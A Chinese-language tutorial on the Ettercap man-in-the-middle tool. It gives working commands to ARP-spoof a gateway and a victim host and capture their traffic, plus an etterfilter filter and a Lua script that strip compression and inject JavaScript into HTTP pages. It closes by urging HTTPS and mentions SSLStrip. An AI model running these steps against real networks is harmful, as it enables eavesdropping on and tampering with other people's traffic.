簡介
Ettercap是一個綜合性的中間人攻擊工具,使用它可以進行ARP欺騙、攔截器、DNS欺騙等操作,本文將介紹使用ettercap的文本模式進行代碼注入的方式和注意點。
安裝ettercap
ettercap提供了對各個操作系統的支持,這裏主要介紹macOS的安裝方式。
通過Homebrew安裝
這種安裝方式較爲簡單,但是安裝的ettercap不支持Lua腳本,如果想要使用支持Lua腳本的ettercap,需要通過源碼安裝。
brew install ettercap
通過源碼安裝
源碼安裝需要較多的依賴庫,具體依賴可以在Ettercap文檔中查看,如果是Ubuntu平臺,使用apt-get即可安裝所有依賴,如果是macOS平臺,可以使用Homebrew安裝大部分缺失的依賴,如果Homebrew上沒有,可以嘗試使用gem,筆者使用Homebrew和gem完成了所有依賴庫的安裝。
1.首先將ettercap源碼clone到本地,然後編輯CMakeLists.txt,將第16行的
option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)
置爲ON,如果只是使用文本模式,可以將ENABLE_CURSES和ENABLE_GTK置爲OFF。
2.按照文檔建立並進入builid目錄,執行如下命令。
cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib
3.如果第二步中有提示某個庫not found,先安裝對應的庫,然後先執行make clean-all,再重新執行2中的命令,如果只有memrchr提示缺少,則可以忽略,經測試不會影響ettercap的運行。
如果沒有上述問題,執行如下命令完成安裝。
sudo make install
4.完成安裝後,可以使用which ettercap
查看安裝位置,默認來說,ettercap的相關工具在/usr/local/bin/
,配置文件在/etc/ettercap
,運行時執行的Lua腳本在/usr/local/share/ettercap/lua/
。
使用ettercap進行中間人攻擊
流量監聽
通過ARP欺騙,我們可以使得受害者將我們視爲網關,而網關將我們視爲受害者,這樣就實現了從請求到響應的雙向監聽,下面我們假設192.168.0.1是網關,而192.168.0.119爲受害者,執行下面的命令即可進行監聽。
sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
其中-T代表文本模式,-q爲安靜模式(不在控制檯輸出監聽的數據),-M爲中間人攻擊,-w指定的是存儲到磁盤的網絡數據包,可以使用Charles或Wireshark等工具進行分析。其中ip地址的格式,根據編譯源碼時CMakeList中指定的是否支持IPv6,分別爲MAC/IP/IPv6/PORT
或MAC/IP/PORT
格式。
當受害者瀏覽網頁時,網絡報文會被記錄在network.pcap中,按下空格會退出安靜模式,將報文同時打印到控制檯。
數據篡改
使用etterfilter
1.首先我們介紹使用etterfilter編譯filter並加載到ettercap對網絡請求進行處理的方法,首先建立一個ig.filter文件,寫入以下內容。
# 攔截受害者發送的請求,將報文壓縮方式由gzip降級爲不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
msg("change encoding");
}
}
# 對於服務器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>", "<head><script>alert('js inject')</script>");
msg("inject head");
}
}
這裏需要注意的是,一定要對請求頭的Accept-Encoding進行篡改,否則響應默認使用gzip編碼的,這樣我們直接注入明文js是無效的,將編碼方式降級爲Identity,服務端會返回明文報文,同時客戶端也不會再對報文進行一次解碼。
2.使用etterfilter將filter文件編譯成ef文件
etterfilter ig.filter -o ig.ef
3.在監聽數據的同時加載過濾器
sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
4.嘗試在受害者端使用瀏覽器訪問未使用HTTPS的網站,例如http://m.ctrip.com,如果成功會看到網頁彈窗。
使用Lua腳本描述過濾器
使用Lua腳本的好處是不需要經過編譯,直接加載即可,另外一個好處是,不會破壞網頁的原始結構 ,而etterfilter方式在數據包中含有大量數據,又向其中添加數據時,會造成包尾被截斷,從而破壞網頁結構。
使用Lua實現上述功能的代碼如下。
description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";
hook_point = hooks.filter;
packet_rule = function(packet_object)
return (packet_object:is_tcp() and
packet_object:has_data() and
(packet_object:dst_port() == 80 or
packet_object:src_port() == 80));
end
action = function(packet_object)
p = packet_object;
data = p:read_data();
if string.find(data, "Accept.Encoding:") then
s,e = string.find(data, "Accept.Encoding:.-\n")
newdata = string.gsub(data, "Accept.Encoding:.-\n",
"Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
packet.set_data(p, newdata)
-- ettercap.log("Changing Encoding");
return
end
body = string.upper(data);
if (string.find(body, '<HEAD>')) then
s,e = string.find(body, '<TITLE>.-</TITLE>');
if s then
title = string.sub(data, s, e);
s,e = string.find(body, '<TITLE>.-</TITLE>');
if not s or not e then
return;
end
len = e - s;
idata = "<title>" .. description .. "</title>" .. inject .. "\n";
print(idata);
newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
-- ettercap.log("Updating string");
packet.set_data(p, newstr);
end
end
end
ettercap中的lua API可以在/usr/local/share/ettercap/lua
中查看,在網絡監聽時加載Lua腳本的命令如下。
sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//
總結
本文主要介紹了使用ettercap監聽和篡改HTTP流量的方法,可以看到在強大的工具面前,HTTP流量是不堪一擊的。因此普及HTTPS對於保護數據安全即爲重要,除此之外,CISCO等高端路由器默認對ARP欺騙進行了防禦,在其局域網下也很難進行中間人攻擊。對於HTTPS的數據監聽,我們有兩種思路,一種是降級爲HTTP,這種方式易被察覺;另一種是使用SSLStrip等工具進行會話劫持。
參考資料
- 灰帽黑客(第4版)
- https://github.com/Ettercap/ettercap